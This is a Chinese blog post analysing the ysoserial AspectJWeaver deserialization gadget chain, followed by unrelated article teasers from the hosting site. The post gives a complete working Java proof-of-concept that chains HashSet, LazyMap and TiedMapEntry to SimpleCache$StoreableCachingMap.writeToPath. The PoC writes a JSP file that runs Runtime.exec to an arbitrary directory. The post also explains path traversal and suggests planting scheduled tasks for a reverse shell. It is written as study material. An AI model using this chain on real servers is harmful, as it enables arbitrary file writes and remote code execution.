AspectJWeaver之Gadget分析

前言:

今天看了下ysoserial的AspectJWeaver方法,分析了下其是如何通过调用SimpleCache$StorableCachingMap来实现写文件,这里把分析的流程写下来:

首先我们要看下其所需要的jar包:

    <dependencies>
        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.9.2</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.2</version>
        </dependency>
    </dependencies>

 其中AspectJ Weaver 是一个用于实现面向切面编程(Aspect-Oriented Programming,AOP)的工具,它可以与 Java 代码一起使用,提供更强大的切面编程功能,首先了解下什么是切面编程:

切面编程(Aspect-Oriented Programming,AOP)是一种软件开发技术,旨在通过将横切关注点(Cross-cutting Concerns)与主要业务逻辑分离,提供一种更模块化、可重用和易于维护的方式来处理横跨多个组件和层的功能。

在传统的面向对象编程中,应用程序的功能通常被组织为一组对象,每个对象负责特定的业务逻辑。然而,有些功能以横切的方式影响多个对象,例如日志记录、安全性、事务管理和性能监控等。这些横切关注点会分散在应用程序的多个模块中,导致代码重复、可维护性差和难以理解。

AOP 解决了这个问题,它通过引入切面来将横切关注点从主要业务逻辑中分离出来。切面是一组与横切关注点相关的行为,它定义了在应用程序执行过程中何时、如何以及在哪里应用这些行为。切面可以捕获和影响应用程序的某些阶段或特定切点(Join Point),并在这些位置插入额外的逻辑,如前置增强、后置增强、异常处理和环绕增强等。

AOP 的核心概念包括:

  1. 切点(Join Point):在应用程序执行过程中,切点表示可能插入额外逻辑的位置,通常是方法的执行或抛出异常等。

  2. 切面(Aspect):切面是一组与切点相关的行为,它定义了在特定切点上执行的逻辑,例如在方法执行前后记录日志。

  3. 通知(Advice):通知是切面中实际执行的逻辑,它定义了在切点处执行的代码。常见的通知类型包括前置通知(Before Advice)、后置通知(After Advice)、异常通知(After-Throwing Advice)和环绕通知(Around Advice)等。

  4. 织入(Weaving):织入是将切面应用到目标对象上的过程。它可以在编译时、加载时或运行时完成。织入可以通过编译器、特定的类加载器或使用代理对象实现。

AOP 提供了一种将横切关注点与主要业务逻辑分离的方式,使得代码更具可维护性、可重用性和可扩展性。它可以减少代码重复,提高代码的可读性,并使开发人员能够更好地关注核心业务逻辑。AOP 在许多领域中都有广泛的应用,包括日志记录、事务管理、安全性、性能监控和异常处理等。

切面编程(Aspect-Oriented Programming,AOP)可以应用于许多不同的场景和领域。以下是一些常见的使用场景:

  1. 日志记录:通过切面编程,可以在方法执行前后记录日志信息,包括方法的输入参数、返回值、执行时间等。这可以帮助开发人员跟踪应用程序的执行流程、调试和排查问题。

  2. 安全性:AOP 可以用于实现安全性相关的功能,如身份验证和授权。通过在敏感方法的切点上应用安全性切面,可以确保只有经过身份验证的用户才能访问这些方法。

  3. 事务管理:AOP 可以用于实现事务管理,确保在数据库操作中的一组方法要么全部成功提交,要么全部回滚。通过在事务开始和结束时应用事务切面,可以简化事务管理的代码,并提供一致的事务处理机制。

  4. 缓存:AOP 可以用于实现缓存功能,通过在方法调用前检查缓存并在方法调用后更新缓存。这可以提高应用程序的性能和响应速度。

  5. 异常处理:AOP 可以用于集中处理异常,例如在方法抛出异常时记录错误日志、发送通知或执行特定的异常处理逻辑。

  6. 性能监控:通过在关键方法的切点上应用性能监控切面,可以收集方法的执行时间、调用次数和资源消耗等信息。这有助于进行性能分析、优化和瓶颈定位。

  7. 日志审计:AOP 可以用于记录敏感操作,如数据库操作、文件访问等。通过在相关方法的切点上应用审计切面,可以记录这些操作并提供审计日志。

  8. 跨层事务管理:当应用程序的业务逻辑跨越多个层(如控制器、服务和持久化层)时,AOP 可以用于实现跨层的事务管理,确保多个层的操作在一个事务中进行。

AspectJ Weaver简单实现:

当然我们具体使用ysoserial的AspectJWeaver方法和AspectJ Weaver的使用没什么关系,我们只是通过反射调用了其中一个函数来写文件,但是多了解下切面编程也不是什么坏事,这里大概讲解下如何通过AspectJ Weaver实现切面编程:

这里我们首先编写一个LoggingAspect 类和beforeAdvice方法,其中LoggingAspect`类使用 @Aspect`注解标识为切面类,并使用 @Before`注解定义了一个前置增强,它会在 com.example.service`包中的任何方法执行之前被调用。

import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;

@Aspect
public class LoggingAspect {

    @Before("execution(* com.example.service.*.*(..))")
    public void beforeAdvice() {
        System.out.println("Before method execution");
    }
}

然后在application.properties中启动AspectJWeaver,通过启用 Spring 应用程序上下文中的自动代理,使 AspectJ Weaver 可以拦截和应用切面逻辑

spring.aop.aspectj.autoproxy=true

 最后就是应用,这里对AppConfig 类使用 @EnableAspectJAutoProxy`注解启用 AspectJ 自动代理,并通过 @Bean`注解将切面类 LoggingAspect`注入为 Spring Bean。

import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.EnableAspectJAutoProxy;

@Configuration
@EnableAspectJAutoProxy
public class AppConfig {

    // 注入切面类
    @Bean
    public LoggingAspect loggingAspect() {
        return new LoggingAspect();
    }
}

这样便可以在执行* com.example.service.*.*(..))之前执行我们的函数,实现切面编程,这样做的好处实现了模块化,且功能之前不受影响,比如身份认证,我们只要对需要进行身份认证的函数前加入我们要执行的身份认证函数,通过切面编程可以很容易的将我们的身份认证函数插入到对应的函数前即可,这样开发代码更加清晰可控。

AspectJWeaver反序列化:

分析:

首先列出具体的poc代码:

package org.example;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

Usage:
args = "<filename>;<base64 content>"
*/

public class Main {
    public static void main(String[] args) throws Exception{
        String fileName = "src\\test.jsp";
        String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
        byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

        // 创建StoreableCachingMap对象
        Constructor constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
        constructor.setAccessible(true);
        Object map = constructor.newInstance(".", 12);

        // 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象
        ConstantTransformer constantTransformer = new ConstantTransformer(exp);

        // 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
        Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

        // 反序列化漏洞的启动点: HashSet
        HashSet hashSet = new HashSet(1);
        // 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payload
        hashSet.add("fff");

        // 获取HashSet中的HashMap对象
        Field field;
        try {
            field = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e){
            field = HashSet.class.getDeclaredField("backingMap");  // jdk
        }
        field.setAccessible(true);
        HashMap innerMap = (HashMap) field.get(hashSet);

        // 获取HashMap中的table对象
        Field field1;
        try{
            field1 = HashMap.class.getDeclaredField("table");
        }catch (NoSuchFieldException e){
            field1 = HashMap.class.getDeclaredField("elementData");
        }
        field1.setAccessible(true);
        Object[] array = (Object[]) field1.get(innerMap);

        // 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
        Object node = array[0];
        if(node==null){
            node = array[1];
        }

        // 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        }catch (NoSuchFieldException e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, tiedMapEntry);

        // 序列化和反序列化测试
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        objectOutputStream.writeObject(hashSet);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));
        objectInputStream.readObject();
    }
}

然后我们看看具体的调用链:

Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

为了更加清晰的看出具体的调用流程,我们就结合代码,根据调用链由下到上进行分析,首先看看我们最后利用的函数,我们实现写功能是通过SimpleCache$StorableCachingMap.writeToPath()实现,下面查看下对应的代码:

 然后看下是put函数调用了这里,其中两个参数,第一个参数是写文件的文件名和目录,第二个参数为具体内容,这里可以看到我们可以实现将文件写入任意目录,只要权限允许:

所以这里就了解了我们为什么要加载SimpleCache$StorableCachingMap:

org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap

其中有个判断要求value内容不能等于"IDEM",我们写的内容也不会是这个,所以这里不影响。

下面我们就要找如何才能调用到SimpleCache$StorableCachingMap.put方法,看代码可以发现是通过LazyMap.get()调用,看下代码:


可以看到这里调用了put方法,其中map是动态调用,我们如何将key和value设置成我们期望的内容,这里看decorate方法,可以看到只要调用decorate就可以将内容变成我们需要的内容:

然后我们看下poc代码,可以看到我们通过调用decorate方法将

String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);
Object map = constructor.newInstance(".", 12);
Constructor constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
ConstantTransformer constantTransformer = new ConstantTransformer(exp);
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

对代码分析,首先我们要设置文件内容,具体做法就是实例化constructor对象并调用getDeclaredConstructor方法获取StoreableCachingMap类中声明的构造函数并初始化为.和12,然后将路径exp放入ConstantTransformer中,为什么要实例化ConstantTransformer,因为在LazyMap中的get方法中有如下代码:

Object value = this.factory.transform(key);

这里的this.factory动态类必须有transform方法,所以我们选择ConstantTransformer的transform方法,否则这里会报错:

 最后调用LazyMap的decorate方法将实例化的constructor和ConstantTransformer传入,便可以将

 this.map设置为SimpleCache$StoreableCachingMap,this.factory设置为ConstantTransformer,下面就要看哪里能调用到LazyMap的get方法:

根据代码可以看到调用链为TiedMapEntry.getValue(),我们看下代码可以发现这里确实是一个动态调用,this.map.get(this.key),只要his.map为LazyMap就可以进入get方法,并且参数为this.key:

下面看下我们的poc代码:

String fileName = "test.jsp";
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

 可以看到示例化TiedMapEntry,并传入lazyMap为this.map,fileName为this.key,就可以完成对文件名和文件内容的设置。下面就要看如何实例化TiedMapEntry并调用getValue方法:

根据Gadget可以看到是通过hashCode调用到getValue方法:

所以现在要考虑如何调用到 TiedMapEntry的hashCode,但是一看hashCode就知道这个和hash就跑不了了,这里使用的HashMap和HashSet,首先看下调用链:

HashSet.readObject()
    HashMap.put()
        HashMap.hash()

反序列化的时候首先进入 HashSet的readObject方法,可以看到在其中调用了内部的HashMap的put方法:

然后会调用HashMap的put方法,其中调用了hash方法:

进入hash方法中可以看到动态调用key的hashCode方法,所以只要这个key是TiedMapEntry,那么我们整个反序列化的流程就闭合了,下面根据代码分析下:

 

先看具体代码:

HashSet hashSet = new HashSet(1);
hashSet.add("fff");
Field field = HashSet.class.getDeclaredField("map");
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet);
Field field1 = HashMap.class.getDeclaredField("table");
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap);
Object node = array[0];
if(node==null){
    node = array[1];
}
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

首先我们需要实例化一个hashSet,然后通过反射判断是否存在map,这里需要注意代码里有个try catch,作用是在不同的java版本进行适配,这里我们通过反射获取到了HashMap,然后反射获取到HashMap中的数组:

我们看看Node具体的代码:

这里可以看到我们需要将对应的this.key赋值为 TiedMapEntry,所以就解释了keyField.set(node, tiedMapEntry),走完可以发现其实这段代码就是hashSet->HashMap->node这样的嵌套,通过反射主要就是修改node的key为TiedMapEntry,这样反序列代码逻辑就形成了闭环。

演示:

下面进行演示:

执行后在writeToPath添加断点,可以看到成功的执行到了写文件功能:

执行完成后会在当前路径生成一个test.jsp文件,这里需要注意文件路径代码:

String fullPath = this.folder + File.separator + key;

其中this.folder是我们代码constructor.newInstance(".", 12)中的. File.separator是\,所以这里就需要注意,如果我们想通过绝对路径写道windows的C盘内,就要使用如下代码:

constructor.newInstance("C:\\\\", 12);

如果是linux则不需要改变这里,可以直接选择使用../../../../../../的方式返回到根目录

如果服务器是springboot或者采用RESTful API形式访问,不支持解析jsp文件,那么我们可以采用写入计划任务等方式反弹shell,具体的方法就因人而异,因环境而已,这里不做深究。

总结:

总结下具体的流程,其实也很简单主要还是通过hashset作为入口点,通过hashmap,TiedMapEntry,LazyMap等方法最终调用到SimpleCache$StoreableCachingMap的writeToPath方法,完成对任意目录写入任意文件的操作,代码虽然简单,但是要想自己找到一个新的可以利用的Gadget也是一个很有挑战性的工作,还是有很大的差距。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/275881.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

drf知识-08

Django之了解DRF框架 # 介绍&#xff1a;DRF全称 django rest framework # 背景&#xff1a; 在序列化与反序列化时&#xff0c;虽然操作的数据不尽相同&#xff0c;但是执行的过程却是相似的&#xff0c;也就是说这部分代码是可以复用简化编写的 增&#xff1a;校验请…

基于SSM实现的电动汽车充电网点管理系统

一、系统架构 前端&#xff1a;jsp | jquery | bootstrap | css 后端&#xff1a;spring | springmvc | jdbc 环境&#xff1a;jdk1.8 | mysql 二、代码及数据库 三、功能介绍 01. web端-首页 02. web端-登录 03. web端-注册 04. web端-我要充电 05. web端-个人中心-消…

网络编程『简易TCP网络程序』

&#x1f52d;个人主页&#xff1a; 北 海 &#x1f6dc;所属专栏&#xff1a; Linux学习之旅、神奇的网络世界 &#x1f4bb;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 文章目录 &#x1f324;️前言&#x1f326;️正文TCP网络程序1.字符串回响1.1.核心功能1.2.程序…

java设计模式学习之【解释器模式】

文章目录 引言解释器模式简介定义与用途实现方式 使用场景优势与劣势在Spring框架中的应用表达式解析示例代码地址 引言 在我们的日常生活中&#xff0c;语言的翻译和理解是沟通的关键。每种语言都有自己的语法规则&#xff0c;而翻译人员和计算机程序需要理解并遵循这些规则来…

线程基础知识(三)

前言 之前两篇文章介绍了线程的基本概念和锁的基本知识&#xff0c;本文主要是学习同步机制&#xff0c;包括使用synchronized关键字、ReentrantLock等&#xff0c;了解锁的种类&#xff0c;死锁、竞争条件等并发编程中常见的问题。 关键字synchronized synchronied关键字可…

leaflet学习笔记-初始化vue项目(一)

leaflet简介 Leaflet是一款开源的轻量级交互式地图可视化JavaScript库&#xff0c;能够满足大多数开发者的地图可视化需求&#xff0c;其最早的版本大小仅仅38 KB。Leaflet能够在主流的计算机或移动设备上高效运行&#xff0c;其功能可通过插件进行扩展&#xff0c;拥有易于使用…

Java——值得收藏的Java final修饰符总结!!!

Java final修饰符总结 一、final修饰类二、final修饰方法三、final修饰变量 总结 算下刚转Java到现在也有三个多月了&#xff0c;所以打算对Java的知识进行汇总一下&#xff0c;本篇文章介绍一下Java的final修饰符的作用&#xff0c;final表示最后的、最终的含义&#xff0c;fi…

PyTorch 进阶指南,10个必须知道的原则

PyTorch 是一种流行的深度学习框架&#xff0c;它提供了强大的工具和灵活的接口&#xff0c;使得开发者能够搭建和训练各种神经网络模型。这份指南旨在为开发者提供一些有用的原则&#xff0c;以帮助他们在PyTorch中编写高效、可维护和可扩展的代码。 如果你对 Pytorch 还处于…

如何在Mac中设置三指拖移,这里有详细步骤

三指拖移手势允许你选择文本&#xff0c;或通过在触控板上用三指拖动窗口或任何其他元素来移动它。它可以用于快速移动或调整窗口、文件或图像在屏幕上的位置。 然而&#xff0c;这个手势在默认情况下是禁用的&#xff0c;因此在本教程中&#xff0c;我们将向你展示如何在你的…

科荣 AIO ReportServlet 任意文件读取漏洞复现

0x01 产品简介 科荣AIO 企业⼀体化管理解决⽅案 通过ERPERP&#xff08;进销存财务&#xff09;、OAOA&#xff08;办公⾃动化&#xff09;、CRMCRM&#xff08;客⼾关系管理&#xff09;、UDPUDP&#xff08;⾃定义平台&#xff09;&#xff0c;集电⼦商务平台、⽀付平台、ER…

Docker容器基础知识点总结

一 、Docker架构 dockers加速镜像&#xff1a; sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-EOF {"registry-mirrors": ["https://z90yxq2m.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restar…

SAP VA01 创建带wbs号的销售订单包 CJ067的错误

接口错误提示如下 SAP官方 CJ067 124177 - VA01: CJ067 during WBS acct assgmt with a different business area S4的core 刚好能用上 实施 这个note后成功

如何学习TS?

文章目录 一. 8种内置基础类型.ts二. void、never、any、unknown类型void类型never类型any类型unknown类型总结&#xff1a;void和any在项目中是比较常见的&#xff0c;never和unknown不常用。 三. 数组和函数类型定义.ts 一. 8种内置基础类型.ts /* eslint-disable typescrip…

springboot整合minio做文件存储

一,minio介绍 MinIO 是一个基于Apache License v2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口&#xff0c;非常适合于存储大容量非结构化的数据&#xff0c;例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等&#xff0c;而一个对象文件可以是任意大小&…

Seata 中封装了四种分布式事务模式,分别是: AT 模式, TCC 模式, Saga 模式, XA 模式,

文章目录 seata概述Seata 中封装了四种分布式事务模式&#xff0c;分别是&#xff1a;AT 模式&#xff0c;TCC 模式&#xff0c;Saga 模式&#xff0c;XA 模式&#xff0c; 今天我们来聊聊seata seata 概述 在微服务架构下&#xff0c;由于数据库和应用服务的拆分&#xff0c…

上海亚商投顾:沪指冲高回落 游戏股午后集体重挫

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 三大指数12月22日冲高回落&#xff0c;黄白二线分化严重。游戏股午后大跌&#xff0c;盛天网络、游族网络、巨…

C++实现增序含头结点的单链例题:现已知单链表L中结点是按整数值递增排列,试写一算法将值为X的结点插入到表L中,使得L任然递增有序

因为比较简单直接给代码&#xff1a; <1>.c文件 #include"Module.h" int main() {int m 0;int flag 0,elect0;printf("*-----------------------------------------------------------------------------------------*\n");struct STU* List Cr…

基于鸿蒙OS开发一个前端应用

创建JS工程&#xff1a;做鸿蒙应用开发到底学习些啥&#xff1f; 若首次打开DevEco Studio&#xff0c;请点击Create Project创建工程。如果已经打开了一个工程&#xff0c;请在菜单栏选择File > New > Create Project来创建一个新工程。选择HarmonyOS模板库&#xff0c…

ROS MoveIt!

MoveIt!是一个用于ROS的开源运动规划库&#xff0c;提供多种功能&#xff0c;包括用于运动规划的快速逆运动学分析、用于操纵的高级算法、机械手控制、动力学、控制器和运动规划。&#xff08;通过提供一个GUI来协助MoveIt!所需的各种设置&#xff0c;它允许使用RViz进行视觉反…

算法导论复习纲要

函数 1. 上界下界&#xff0c;紧确界的定义 2. 求解递推式&#xff0c;代入法&#xff0c;递归树法&#xff0c;主方法 分治算法 动态规划 1. 切割钢条&#xff1a;递归方法&#xff0c;动态的自上而下&#xff0c; 2. 矩阵乘法&#xff1a;最优子结构性的证明&#xff0c…